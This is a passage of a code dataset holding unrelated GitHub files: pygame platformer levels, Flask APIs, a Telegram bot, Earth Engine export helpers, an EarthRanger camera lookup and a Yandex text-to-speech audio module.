Enemy_Sprite(enemy[0], type)\n if len(enemy) > 3 and enemy[3] == \"R\":\n en.image = pygame.transform.flip(en.image, True, False)\n\n en.rect.x = enemy[1]\n en.rect.y = enemy[2]\n self.enemy_list.add(en)\n\n def addCoins(self, lv_coins):\n for coin in lv_coins:\n c = Coin_Sprite(coin[0])\n c.rect.x = coin[1]\n c.rect.y = coin[2]\n self.coins.add(c)\n\n def addHearts(self):\n hearts = []\n if self.isHardMode():\n for i in range(0, 1):\n hearts.append([LITTLE_HEART, (60 * i), 0])\n else:\n for i in range(0, 3):\n hearts.append([LITTLE_HEART, (60 * i), 0])\n\n for heart in hearts:\n h = Heart_Sprite(heart[0])\n h.rect.x = heart[1]\n h.rect.y = heart[2]\n self.health_bar.add(h)\n\n def addCoinsNeeded(self):\n coins_need = []\n for i in range(0, self.coinsNeeded):\n if i < 5:\n coins_need.append([COIN, (60 * i), 60])\n elif 10 > i >= 5:\n coins_need.append([COIN, (60 * (i - 5)), 120])\n else:\n coins_need.append([COIN, (60 * (i - 10)), 180])\n\n for coin in coins_need:\n c = Coin_Sprite(coin[0])\n c.rect.x = coin[1]\n c.rect.y = coin[2]\n self.coins_needed.add(c)\n\n def addPlatforms(self, platforms):\n for platform in platforms:\n block = Platform(platform[0])\n block.rect.x = platform[1]\n block.rect.y = platform[2]\n block.player = self.player\n self.platform_list.add(block)\n\n def reset(self):\n self.enemy_list = pygame.sprite.Group()\n self.platform_list = pygame.sprite.Group()\n self.health_bar = pygame.sprite.Group()\n self.coins = pygame.sprite.Group()\n self.coins_needed = pygame.sprite.Group()\n\n\nclass LevelOne(Level):\n def __init__(self, player):\n Level.__init__(self, player)\n Level.hardmode = False\n if self.isHardMode():\n self.coinsNeeded(5)\n else:\n self.coinsNeeded(5)\n\n self.background = pygame.image.load(\"level1.png\").convert()\n self.background.set_colorkey((255, 255, 255))\n self.level_limit = -2500\n\n platforms = [[GRASS_LEFT, 500, 500],\n [GRASS_MIDDLE, 570, 500],\n [GRASS_RIGHT, 640, 500],\n [GRASS_LEFT, 800, 400],\n [GRASS_MIDDLE, 870, 400],\n [GRASS_RIGHT, 940, 400],\n [GRASS_LEFT, 1000, 500],\n [GRASS_MIDDLE, 1070, 500],\n [GRASS_RIGHT, 1140, 500],\n [STONE_PLATFORM_LEFT, 1120, 280],\n [STONE_PLATFORM_MIDDLE, 1190, 280],\n [STONE_PLATFORM_RIGHT, 1260, 280]]\n\n enemies = [[BASIC_ENEMY, 600, 420], # Add optional \"R\" or \"L\" argument to change facing direction.\n [BASIC_ENEMY, 750, 500], # Defaults to left-facing\n [BOMB, 1000, 420],\n [BOMB, 1200, 500]]\n\n lv_coins = [[COIN, 500, 420],\n [COIN, 750, 300],\n [COIN, 1200, 200],\n [COIN, 1025, 350],\n [COIN, 1220, 450]]\n\n self.addEnemies(enemies)\n self.addCoins(lv_coins)\n self.addCoinsNeeded()\n self.addHearts()\n self.addPlatforms(platforms)\n\nclass LevelTwo(Level):\n def __init__(self, player):\n Level.__init__(self, player)\n Level.hardmode = False\n if self.isHardMode():\n self.coinsNeeded(7)\n else:\n self.coinsNeeded(5)\n\n self.background = pygame.image.load(\"level2.png\").convert()\n self.background.set_colorkey((255, 255, 255))\n self.level_limit = -2500\n\n platforms = [[GRASS_LEFT, 500, 500],\n [GRASS_MIDDLE, 570, 500],\n [GRASS_RIGHT, 640, 500],\n [GRASS_LEFT, 800, 400],\n [GRASS_MIDDLE, 870, 400],\n [GRASS_RIGHT, 940, 400],\n [GRASS_LEFT, 1000, 500],\n [GRASS_MIDDLE, 1070, 500],\n [GRASS_RIGHT, 1140, 500],\n [STONE_PLATFORM_LEFT, 1120, 280],\n [STONE_PLATFORM_MIDDLE, 1190, 280],\n [STONE_PLATFORM_RIGHT, 1260, 280]]\n\n enemies = [[BASIC_ENEMY, 600, 420], # Add optional \"R\" or \"L\" argument to change facing direction.\n [BASIC_ENEMY, 750, 500], # Defaults to left-facing\n [BOMB, 1000, 420],\n [BOSS_ENEMY, 1200, 500]]\n\n lv_coins = [[COIN, 500, 420],\n [COIN, 750, 300],\n [COIN, 1200, 200],\n [COIN, 1025, 350],\n [COIN, 1220, 450],\n [COIN, 1000, 250],\n [COIN, 850, 325]]\n\n self.addEnemies(enemies)\n self.addCoins(lv_coins)\n self.addCoinsNeeded()\n self.addHearts()\n self.addPlatforms(platforms)\n\n # Add a custom moving platform\n block = MovingPlatform([648, 648, 70, 40])\n block.rect.x = 1350\n block.rect.y = 280\n block.boundary_left = 1350\n block.boundary_right = 1600\n block.change_x = 1\n block.player = self.player\n block.level = self\n self.platform_list.add(block)\n\nclass LevelThree(Level):\n def __init__(self, player):\n Level.__init__(self, player)\n Level.hardmode = False\n if self.isHardMode():\n self.coinsNeeded(10)\n else:\n self.coinsNeeded(7)\n\n self.background = pygame.image.load(\"level3.png\").convert()\n self.background.set_colorkey((255, 255, 255))\n self.level_limit = -2500\n\n platforms = [[GRASS_LEFT, 500, 500],\n [GRASS_MIDDLE, 570, 500],\n [GRASS_RIGHT, 640, 500],\n [GRASS_LEFT, 800, 400],\n [GRASS_MIDDLE, 870, 400],\n [GRASS_RIGHT, 940, 400],\n [GRASS_LEFT, 1000, 500],\n [GRASS_MIDDLE, 1070, 500],\n [GRASS_RIGHT, 1140, 500],\n [STONE_PLATFORM_LEFT, 1120, 280],\n [STONE_PLATFORM_MIDDLE, 1190, 280],\n [STONE_PLATFORM_RIGHT, 1260, 280]]\n\n enemies = [[BASIC_ENEMY, 600, 420],\n [BASIC_ENEMY, 750, 500],\n [BOMB, 1000, 420],\t\t\t\t#add more enemies\n [BOMB, 1200, 500]]\n\t #[BOSS_ENEMY , , ],\n #[SHOOTING_ENEMY, , ]]\n\n lv_coins = [[COIN, 500, 420],\n [COIN, 750, 300],\n [COIN, 1200, 200],\n [COIN, 1025, 350],\n [COIN, 1220, 450],\n [COIN, 1000, 250], #fix these numbers\n [COIN, 850, 325],\n [COIN, 400, 530],\n [COIN, 900, 210],\n [COIN, 600, 480]]\n\n self.addEnemies(enemies)\n self.addCoins(lv_coins)\n self.addCoinsNeeded()\n self.addHearts()\n self.addPlatforms(platforms)\n\n # Add a custom moving platform\n block = MovingPlatform([648, 648, 70, 40])\n block.rect.x = 1350\n block.rect.y = 280\n block.boundary_left = 1350\n block.boundary_right = 1600\n block.change_x = 1\n block.player = self.player\n block.level = self\n self.platform_list.add(block)\n\n # Add a 2nd custom moving platform\n block = MovingPlatform([648, 648, 70, 40])\n block.rect.x = 1350\n block.rect.y = 280\n block.boundary_left = 1350\n block.boundary_right = 1600\n block.change_x = 1\n block.player = self.player\n block.level = self\n self.platform_list.add(block)\n\nclass LevelFour(Level):\n def __init__(self, player):\n Level.__init__(self, player)\n Level.hardmode = False\n if self.isHardMode():\n self.coinsNeeded(10)\n else:\n self.coinsNeeded(10)\n\n self.background = pygame.image.load(\"level4.png\").convert()\n self.background.set_colorkey((255, 255, 255))\n self.level_limit = -2500\n\n platforms = [[GRASS_LEFT, 500, 550],\n [GRASS_MIDDLE, 570, 550],\n [GRASS_RIGHT, 640, 550],\n [GRASS_LEFT, 780, 525],\n [GRASS_MIDDLE, 850, 525],\n [GRASS_RIGHT, 920, 525],\n [STONE_PLATFORM_LEFT, 1400, 400],\n [STONE_PLATFORM_RIGHT, 1470, 400],\n [STONE_PLATFORM_MIDDLE, 1600, 320],\n [STONE_PLATFORM_LEFT, 1650, 200],\n [STONE_PLATFORM_RIGHT, 1720, 200],\n [STONE_PLATFORM_LEFT, 1400, 100],\n [STONE_PLATFORM_RIGHT, 1470, 100],\n [STONE_PLATFORM_MIDDLE, 1250, 100]]\n\n enemies = [[BASIC_ENEMY, 500, 470], # Add optional \"R\" or \"L\" argument to change facing direction.\n [BOMB, 780, 445], # Defaults to left-facing\n [BOMB, 1470, 320],\n [SHOOTING_ENEMY, 1720, 100],\n [BOSS_ENEMY, 1400, 10]]\n\n lv_coins = [[COIN, 600, 400],\n [COIN, 750, 300],\n [COIN, 1400, 330],\n [COIN, 1600, 260],\n [COIN, 1470, 50],\n [COIN, 750, 300],\n [COIN, 1300, 530],\n [COIN, 1500, 460],\n [COIN, 1000, 175],\n [COIN, 1250, 50]]\n\n self.addEnemies(enemies)\n self.addCoins(lv_coins)\n self.addCoinsNeeded()\n self.addHearts()\n self.addPlatforms(platforms)\n\n # Add a custom moving platform\n block = MovingPlatform([648, 648, 70, 40])\n block.rect.x = 1000\n block.rect.y = 450\n block.boundary_left = 1000\n block.boundary_right = 1350\n block.change_x = 2\n block.player = self.player\n block.level = self\n self.platform_list.add(block)\n","repo_name":"pythonproject123/Tower-climbing-game","sub_path":"level.py","file_name":"level.py","file_ext":"py","file_size_in_byte":12821,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"16412817700","text":"from flask import Flask, request, jsonify\nfrom youtube_transcript_api import YouTubeTranscriptApi\nfrom fuzzywuzzy import fuzz\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\n\n# Download the NLTK stopwords dataset\nimport nltk\nnltk.download('stopwords')\nnltk.download('punkt')\n\napp = Flask(__name__)\n\n# Dictionary to store cached srt_content based on video_code\nsrt_content_cache = {}\n\ndef format_time(seconds):\n hours = int(seconds // 3600)\n minutes = int((seconds % 3600) // 60)\n seconds = int(seconds % 60)\n milliseconds = int((seconds - int(seconds)) * 1000)\n\n return f\"{hours:02d}:{minutes:02d}:{seconds:02d},{milliseconds:03d}\"\n\ndef search_word_in_srt(srt_content, search_word, similarity_threshold=60):\n # Get the list of English stopwords\n stop_words = set(stopwords.words(\"english\"))\n\n # Tokenize the search word and filter out the stopwords\n search_word_tokens = word_tokenize(search_word.lower())\n filtered_tokens = [word for word in search_word_tokens if word not in stop_words]\n\n important_search_word = \" \".join(filtered_tokens)\n\n print(important_search_word)\n\n timecodes_list = [] # List to store all timecodes for the search word\n\n start_time, end_time, subtitle_text = None, None, \"\"\n\n for line in srt_content.splitlines():\n line = line.strip()\n\n if not line: # Blank line indicates the end of a subtitle entry\n if fuzz.partial_ratio(important_search_word, subtitle_text.lower()) >= similarity_threshold:\n timecodes_list.append(start_time)\n\n # Reset variables for the next subtitle entry\n start_time, end_time, subtitle_text = None, None, \"\"\n elif \"-->\" in line: # Timecode line\n timecodes = line.split(\" --> \")\n start_time, end_time = timecodes[0], timecodes[1]\n else:\n subtitle_text += line + \" \" # Append subtitle text\n\n # Check for the last subtitle entry\n if fuzz.partial_ratio(important_search_word, subtitle_text.lower()) >= similarity_threshold:\n timecodes_list.append(start_time)\n\n return timecodes_list\n\n@app.route(\"/api\", methods=[\"GET\"])\ndef get_timestamps():\n video_code = request.args.get(\"video_code\")\n search_word = request.args.get(\"search_word\")\n\n if not video_code or not search_word:\n return jsonify({\"error\": \"Both video_code and search_word parameters are required.\"}), 400\n\n try:\n # Check if the srt_content is available in the cache\n srt_content = srt_content_cache.get(video_code)\n\n if srt_content is None:\n # If not in the cache, fetch the video transcript\n subtitles = YouTubeTranscriptApi.get_transcript(video_code)\n\n # Combine the subtitle segments into an SRT format string\n srt_content = \"\"\n for i, subtitle in enumerate(subtitles, start=1):\n start_time = subtitle['start']\n end_time = subtitle['start'] + subtitle['duration']\n subtitle_text = subtitle['text'].strip().replace('\\n', ' ')\n srt_content += f\"{i}\\n{format_time(start_time)} --> {format_time(end_time)}\\n{subtitle_text}\\n\\n\"\n\n # Store the srt_content in the cache\n srt_content_cache[video_code] = srt_content\n\n # Search for the search_word in the SRT content\n timecodes_list = search_word_in_srt(srt_content, search_word)\n\n if timecodes_list:\n return jsonify({\"timestamps\": timecodes_list})\n else:\n return jsonify({\"message\": f\"The word '{search_word}' is not found in the subtitles.\"})\n\n except Exception as e:\n return jsonify({\"error\": str(e)}), 500\n\n\nif __name__ == \"__main__\":\n app.run()\n","repo_name":"Ravipatel1309/Video_Search","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35975261662","text":"\nimport pandas as pd\n\nclass TestersMatchDB:\n def loadData(self, blockSize):\n self.dataFolder = input('Please input data folder:')\n testers = pd.read_csv(self.dataFolder+'/testers.csv')\n testers.dropna(inplace=True)\n self.allCountries = testers['country'].unique()\n tester_device = pd.read_csv(self.dataFolder+'/tester_device.csv')\n tester_device.dropna(inplace=True)\n devices = pd.read_csv(self.dataFolder+'/devices.csv')\n devices.dropna(inplace=True)\n self.allDevices = devices['description'].unique()\n bugs = pd.read_csv(self.dataFolder+'/bugs.csv')\n bugs.dropna(inplace=True)\n \n # creaet a intermediate data frame that contains country, firstname, last name, description, and bugcount(nubmer of the bugs found)\n self.refinedData = pd.DataFrame(columns=['country', 'firstName', 'lastName', 'description', 'bugCount'])\n\n for i in range(0, testers.shape[0]//blockSize + 1):\n tempTesters = testers.iloc[(i*blockSize):((i+1)*blockSize)]\n tempData = tempTesters.merge(tester_device, on='testerId')\n tempData = tempData.merge(devices, on='deviceId')\n tempData = tempData.merge(bugs, on=['deviceId', 'testerId'], how = 'left')\n tempData = tempData[['country', 'firstName', 'lastName', 'description', 'bugId']].groupby(['country', 'firstName', 'lastName', 'description']).size().rename('bugCount').reset_index()\n self.refinedData = pd.concat([self.refinedData, tempData], sort=True)\n \n self.refinedData.set_index(['country', 'description'])\n return self.refinedData\n \n def queryData(self):\n countryDF = pd.DataFrame({'country':self.countries})\n deviceDF = pd.DataFrame({'description':self.devices})\n\n # convert columns country and descripiton to lower cases so that the merge is case insentive\n countryDF['country'] = countryDF['country'].str.lower()\n self.refinedData['country'] = self.refinedData['country'].str.lower()\n deviceDF['description'] = deviceDF['description'].str.lower()\n self.refinedData['description'] = self.refinedData['description'].str.lower()\n\n self.result = self.refinedData.merge(countryDF)\n self.result = self.result.merge(deviceDF)\n return self.result\n \n def printResult(self):\n if self.result.empty:\n print('System could not locate matching testers from the record')\n else:\n output=self.result[['firstName', 'lastName', 'bugCount']].groupby(['firstName', 'lastName']).sum().reset_index()\n output['name'] = output['firstName'] + ' ' + output['lastName']\n print(output[['name', 'bugCount']].sort_values(by='bugCount', ascending=False))\n \n def userInput(self):\n countries = input('Country List (%s,ALL. separate by \\',\\'):'%','.join(self.allCountries))\n if countries.upper() == 'ALL':\n self.countries = self.refinedData['country'].unique()\n else:\n self.countries = countries.replace(' ', '').split(',')\n devices = input('Device list (%s,ALL. separeate by \\',\\'):'%','.join(self.allDevices))\n if devices.upper() == 'ALL':\n self.devices = self.refinedData['description'].unique()\n else:\n self.devices = devices.strip().split(',')\n\nif __name__ == '__main__':\n app = TestersMatchDB()\n app.loadData(blockSize=1000)\n app.userInput()\n app.queryData()\n app.printResult()\n","repo_name":"emilyhuang11/testers-match","sub_path":"testersmatch.py","file_name":"testersmatch.py","file_ext":"py","file_size_in_byte":3523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33693436962","text":"\n\n\"\"\"\nMATRIX -> 3 x 4\n\nSatir: 3\nStun: 4\n\n[\n [1 2 1 0] => 1.x1 + 2.x2 + 1.x3 + 0.x4 -> Denklem 1,\n [3 3 1 2] => 3.x1 + 3.x2 + 1.x3 + 2.x4 -> Denklem 2,\n [5 2 1 4] => 5.x1 + 2.x2 + 1.x3 + 4.x4 -> Denklem 3\n]\n1 Integer => Tam Sayilar\n1.0 Float => Kesirli Sayilar\n\"1\" String => Yazi \n\nList / Array => Farkli item'lari tek degiskende tutmak\n\n\"\"\"\n\ndenklem1x1 = 1\ndenklem1x2 = 2\ndenklem1x3 = 1\ndenklem1x4 = 0\n\ndenklem1 = [1, 2, 1, 0]\n# 0. index 1\n# 1. index 2\n# 2. index 1\n# 3. index 0\n\ndenklem2 = [3,3,1,2]\ndenklem3 = [5,2,1,4]\n\nmatrix = [denklem1,denklem2,denklem3 ]\n\nprint(\"Matrix: \",matrix)\n\n## Tum sayilari toplayan bir fonksiyon yaz\ndef selamla(isim):\n print(\"Merhaba\",isim)\n\ndef sayilari_topla(mat):\n toplam = 0\n for denklem in mat:\n for sayi in denklem:\n toplam += sayi\n\n print(\"Toplam: \",toplam)\n\n## Fonksiyonlari Cagir\nselamla(\"Emin\")\nselamla(\"Serra\")\nsayilari_topla(matrix)\n\n\n\n\n\n\n\n\n","repo_name":"eminkartci/PythonCourse","sub_path":"Archive/QuickPython/Matrix.py","file_name":"Matrix.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"164346143","text":"import DataConnector\nfrom flask import Flask, request, url_for, flash, redirect, get_flashed_messages\nfrom flask import render_template, send_from_directory\n\napp = Flask(__name__, template_folder='templates', static_folder='templates')\napp.secret_key = 'test'\n\n###########################################\n# this is for viewing the test venue\n###########################################\n@app.route(\"/testvenue\")\ndef test_venue():\n return render_template(\"SeatsGrid.html\")\n\n\n\n############################\n# Add a new venue\n############################\n@app.route(\"/addvenue\", methods=['POST', 'GET'])\ndef add_venue():\n\n # Check to see if a venue was submitted\n if request.method == 'POST':\n name = request.form['name']\n rows = request.form['rows']\n cols = request.form['cols']\n DataConnector.add_venue(1, name, rows, cols)\n flash(f'New Venue Created, name:{name}, rows:{rows}, columns:{cols}')\n print(f'New Venue Created, name:{name}, rows:{rows}, columns:{cols}')\n\n\n\n #render the template\n return render_template(\"AddVenue.html\")\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"mlalbright/SeniorProject-svelte","sub_path":"server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25240074389","text":"from states.state import kafe\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram import types\nfrom loader import dp\n\nfrom keyboards.default.kategorya import menu,shash,suv,ikkinchiovqat,miqdr,asosiy\n\n\n\n\n@dp.message_handler(text=\"ORQAGA ↩️\",state=kafe.category)\nasync def orqa1(message: types.Message, state: FSMContext):\n await message.answer(\"Davom etamizmi? 👨🏻‍🍳🔥\",reply_markup=asosiy)\n await kafe.category.set()\n\n\n@dp.message_handler(text=\"ORQAGA ↩️\",state=kafe.category)\nasync def orqa1(message: types.Message, state: FSMContext):\n await message.answer(f\"Sahifani tanlang 😊\", reply_markup=asosiy)\n await state.finish()\n\n\n@dp.message_handler(text=\"ORQAGA ↩️\",state=kafe.product)\nasync def orqa1(message: types.Message, state: FSMContext):\n await message.answer(\"Xo'sh, buyurtmaga o'tamizmi, sizni issiq taomlarimiz kutmoqda 👨🏻‍🍳🔥\",reply_markup=menu)\n await kafe.category.set()\n\n\n\n\n@dp.message_handler(text=\"ORQAGA ↩️\",state=kafe.amount)\nasync def orqa1(message: types.Message, state: FSMContext):\n data = await state.get_data()\n cat = data.get('cat')\n if cat == 'Shashlik':\n await message.answer(\"Batafsil ma'lumot uchun taomni tanlang\", reply_markup=shash)\n await kafe.product.set()\n \n elif cat == 'Ikkinchi ovqatlar 🍛':\n await message.answer(\"Batafsil ma'lumot uchun taomni tanlang\", parse_mode='html', reply_markup=ikkinchiovqat)\n await kafe.product.set()\n \n elif cat == \"Ichimliklar 🥤\":\n await message.answer(\"Batafsil ma'lumot uchun taomni tanlang\", parse_mode='html', reply_markup=suv)\n await kafe.product.set() \n \n\n ","repo_name":"javohir1077/sulbot","sub_path":"handlers/users/back.py","file_name":"back.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"6861055405","text":"#! /user/bin/env python3\n# -*-encoding=utf-8-*-\n\nfrom tkinter import *\nimport tkinter.messagebox as messagebox\nclass CusApplication(Frame):\n def __init__(self,master=None):\n Frame.__init__(self,master)\n self.pack()\n self.createWidgets()\n\n def createWidgets(self):\n self.helloLabel = Label(self, text='Hello, world!')\n self.helloLabel.pack()\n self.quitButton = Button(self, text='Quit', command=self.quit)\n self.quitButton.pack()\n self.alertButton = Button(self,text='input',command=self.display)\n self.alertButton.pack()\n self.inputEntry = Entry(self)\n self.inputEntry.pack()\n\n def display(self):\n print('print',self.inputEntry.get())\n messagebox.showinfo('title',self.inputEntry.get() if self.inputEntry.get() else 'default')\n\ncus = CusApplication()\ncus.master.title('gpu')\ncus.mainloop()\n\n","repo_name":"rhythmic-zone/python","sub_path":"gpu.py","file_name":"gpu.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72096565847","text":"from django.urls import re_path\nfrom rest_framework.permissions import AllowAny\nfrom drf_yasg.views import get_schema_view\nfrom drf_yasg import openapi\n\n\nschema_view = get_schema_view(\n openapi.Info(\n title='Django Movie',\n default_version='v1',\n description='Desc',\n license=openapi.License('BSD License')\n ),\n public=True,\n permission_classes=(AllowAny,)\n)\n\nurlpatterns = [\n re_path('swagger(?P\\.json|\\.yaml)', schema_view.without_ui(cache_timeout=0), name='schema-json'),\n re_path('swagger/', schema_view.with_ui('swagger', cache_timeout=0), name='schema-swagger-ui'),\n re_path('redoc/', schema_view.with_ui('redoc', cache_timeout=0), name='schema-redoc'),\n]\n","repo_name":"Arseniyyy/django_movie","sub_path":"django-movie/yasg.py","file_name":"yasg.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"6652932879","text":"__version__ = \"0.0.1\"\n\nimport ee\nimport string\nimport random\nimport datetime\nfrom rendvi.core import *\nfrom rendvi.masking import *\nfrom rendvi.smoothing import *\nfrom rendvi import eeCollections\n\n# try:\n# ee.Initialize()\n# except Exception as e:\n# x = None\n\n\ndef exportImage(image, region, assetId, description=None, scale=1000, crs='EPSG:4326', pyramiding=None):\n if (description == None) or (type(description) != str):\n description = ''.join(random.SystemRandom().choice(\n string.ascii_letters) for _ in range(8)).lower()\n # get serializable geometry for export\n exportRegion = region.bounds().getInfo()['coordinates']\n\n if pyramiding is None:\n pyramiding = {'.default': 'mean'}\n\n # set export process\n export = ee.batch.Export.image.toAsset(image,\n description=description,\n assetId=assetId,\n scale=scale,\n region=exportRegion,\n maxPixels=1e13,\n crs=crs,\n pyramidingPolicy=pyramiding\n )\n # start export process\n export.start()\n\n return\n\n\ndef batchExport(collection, region, collectionAsset, prefix=None, suffix=None, scale=1000, crs='EPSG:4326', metadata=None, pyramiding=None):\n n = collection.size()\n exportImages = collection.sort('system:time_start', False).toList(n)\n nIter = n.getInfo()\n\n for i in range(nIter):\n img = ee.Image(exportImages.get(i))\n if metadata is not None:\n img = img.set(metadata)\n\n t = img.get('system:time_start').getInfo()\n date = datetime.datetime.utcfromtimestamp(\n t / 1e3).strftime(\"%Y%m%d\")\n\n exportName = date\n if prefix is not None:\n exportName = f\"{prefix}_\" + exportName\n if suffix is not None:\n exportName = exportName + f\"_{suffix}\"\n\n description = exportName\n print(f\"running export for {description}\")\n\n if not collectionAsset.endswith('/'):\n collectionAsset += '/'\n\n exportName=collectionAsset + description\n\n exportImage(img, region, exportName, description=description,\n scale=scale, crs=crs, pyramiding=pyramiding)\n\n return\n","repo_name":"SERVIR/rendvi","sub_path":"rendvi/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2442,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"27217590141","text":"'''Get Cam Location\n\nThis script defines a function called cam_location where an http request is -\nperrformed to retrieve the lat, long, and unique id for the camera trap that-\nthe current classified image from strikeforce has in earthranger so that the-\nevent may be linked to the specific camera. '''\n\nimport requests\n\n\ndef cam_location(cam_name, token, authorization):\n '''Cam Location\n\n This function takes in the name of the camera in earthranger and returns\n the lat and longs of that camera as well as earthrangers unique identifyer\n for it.\n\n Args:\n cam_name:the name (B001, B002...) of the camera as it's in ER 'str'\n token: the token for api calls in earthranger 'str'\n authorization:another token for eathranger api calls as specified in config\n yml'str'\n\n Return: lat and longs of the camera location as a list and the unique id of\n the camera in earthranger as a 'str' '''\n url = 'https://sagebrush.pamdas.org/api/v1.0/subjects/?name=' + cam_name\n headers = {\n 'X-CSRFToken': token,\n 'Authorization': authorization,\n 'Accept': 'application/json'\n }\n response = requests.get(url, headers=headers)\n response_json = response.json()\n\n cam_locations = response_json['data'][0]['last_position']['geometry']\n ['coordinates']\n subject_id = response_json['data'][0]['id']\n return (cam_locations, subject_id)\n","repo_name":"conservationtechlab/sageranger","sub_path":"sageranger/get_cam_location.py","file_name":"get_cam_location.py","file_ext":"py","file_size_in_byte":1393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"26545840655","text":"# Imports\n# -----------------\nimport os\nimport shutil\nfrom moviepy.editor import AudioFileClip\nfrom numpy import array, frombuffer, int16\nimport audiosegment\nimport pyaudio\nimport wave\n# -----------------\n\n# Text to Speech\n#---------------------------------------------------\n# Ваши личные данные от Yandex.Cloud\n# | Иструкцию по их получению вы найдёте здесь: https://habr.com/ru/post/681566/\n# \\=/ Замечание: чтобы воспользоваться сервисом SpeechKit от Yandex вам необходимо привязать свою карту к аккаунту.\n# | НО Yandex дарит 4000 рублей на ваши первые 30 дней использования его возможностей\nimport yandex_api_param\n\nfrom speechkit import Session, SpeechSynthesis\n#---------------------------------------------------\n\nclass Audio():\n def __init__(self, temp_path, path_video):\n self.temp_path = temp_path\n self.frames_offset = 0\n self.soundtracks_list = []\n self.base_soundtrack = AudioFileClip(path_video)\n self.base_soundtrack_duration = self.base_soundtrack.duration\n #print(f'Dur: {self.base_soundtrack_duration}')\n\n def create_sundtack(self, cut_indexes, seg_list, fps, name_voice):\n self.soundtracks_list = []\n offset_list = []\n for i in range(0, cut_indexes.shape[0] - 1):\n # -----------------------------------------------------------\n time_start = array([(((cut_indexes[i] + self.frames_offset) / fps) / 60) / 60,\n (((cut_indexes[i] + self.frames_offset) / fps) / 60) % 60,\n ((cut_indexes[i] + self.frames_offset) / fps) % 60,\n ((cut_indexes[i] + self.frames_offset) / fps) % 1], dtype='float32')\n\n # Если из-за погрешности разделения на кадры мы выходим за рамки видео\n if ((cut_indexes[i + 1] + self.frames_offset + 1) / fps) > self.base_soundtrack_duration:\n time_end = array([(self.base_soundtrack_duration / 60) / 60,\n (self.base_soundtrack_duration / 60) % 60,\n self.base_soundtrack_duration % 60,\n self.base_soundtrack_duration % 1], dtype='float32')\n\n else:\n time_end = array([(((cut_indexes[i + 1] + self.frames_offset) / fps) / 60) / 60,\n (((cut_indexes[i + 1] + self.frames_offset) / fps) / 60) % 60,\n ((cut_indexes[i + 1] + self.frames_offset) / fps) % 60,\n ((cut_indexes[i + 1] + self.frames_offset) / fps) % 1], dtype='float32')\n\n print(f'{int(time_start[0])}:{int(time_start[1])}:{int(time_start[2])}.{str(time_start[3])[2:5]} - {int(time_end[0])}:{int(time_end[1])}:{int(time_end[2])}.{str(time_end[3])[2:5]}')\n soundtrack = self.base_soundtrack.subclip(f'{int(time_start[0])}:{int(time_start[1])}:{int(time_start[2])}.{str(time_start[3])[2:5]}',\n f'{int(time_end[0])}:{int(time_end[1])}:{int(time_end[2])}.{str(time_end[3])[2:5]}')\n\n # Озвучка классов голосом\n # -----------------------------------------------------------\n string_text = ''\n\n if seg_list == []:\n string_text = ''\n # Если модель генерации не подключена\n elif isinstance(seg_list[0],dict):\n for text in [f'{count} {class_}, ' for class_, count in zip(seg_list[i].keys(), seg_list[i].values())]:\n string_text += text\n\n # Если модель генерации субтитров передала в seg_list все свои субтитры по порядку\n elif isinstance(seg_list[0],str):\n string_text = seg_list[i]\n\n if len(string_text) > 0:\n print(f'Text: {string_text}')\n voice, voice_offset = self.text2speech(string_text, name_voice, fps, '','output.wav')\n self.soundtracks_list.append(voice)\n offset_list.append(voice_offset)\n else:\n offset_list.append(0)\n self.soundtracks_list.append(soundtrack)\n\n return offset_list\n\n @staticmethod\n def text2speech(text, voice, fps, save_dir, name_file):\n session = Session.from_yandex_passport_oauth_token(yandex_api_param.oauth_token, yandex_api_param.catalog_id)\n\n synthesizeAudio = SpeechSynthesis(session)\n\n # `.synthesize_stream()` возвращает объект типа `io.BytesIO()` с аудиофайлом\n sample_rate = 16000\n audio_data = synthesizeAudio.synthesize_stream(\n text=text,\n voice=voice, format='lpcm', sampleRateHertz=sample_rate\n )\n\n # Данные озвучки нельзя получить с частотой 44,1кГц, поэтому мы воспользуемся некоторыми преобразованиями...\n num_channels = 1\n new_sample_rate = 44100\n chunk_size = 4000\n\n np_audio = frombuffer(audio_data, dtype=int16)\n np_audio = audiosegment.from_numpy_array(np_audio, sample_rate).resample(sample_rate_Hz=new_sample_rate,\n sample_width=2,\n channels=1).to_numpy_array()\n frames_length = int((np_audio.shape[0] / new_sample_rate) * fps)\n # Создаст wav файл\n if len(save_dir) > 0:\n path = f'{save_dir}/{name_file}.wav'\n else:\n path = f'{name_file}.wav'\n\n with wave.open(path, 'wb') as wf:\n p = pyaudio.PyAudio()\n wf.setnchannels(num_channels)\n wf.setsampwidth(p.get_sample_size(pyaudio.paInt16))\n wf.setframerate(new_sample_rate)\n for i in range(0, len(np_audio), chunk_size):\n wf.writeframes(np_audio[i:i + chunk_size])\n p.terminate()\n return AudioFileClip(path), frames_length","repo_name":"Aleshka5/Semantic-subtitles-for-videos","sub_path":"Audio.py","file_name":"Audio.py","file_ext":"py","file_size_in_byte":6448,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25565566992","text":"__author__ = 'tony 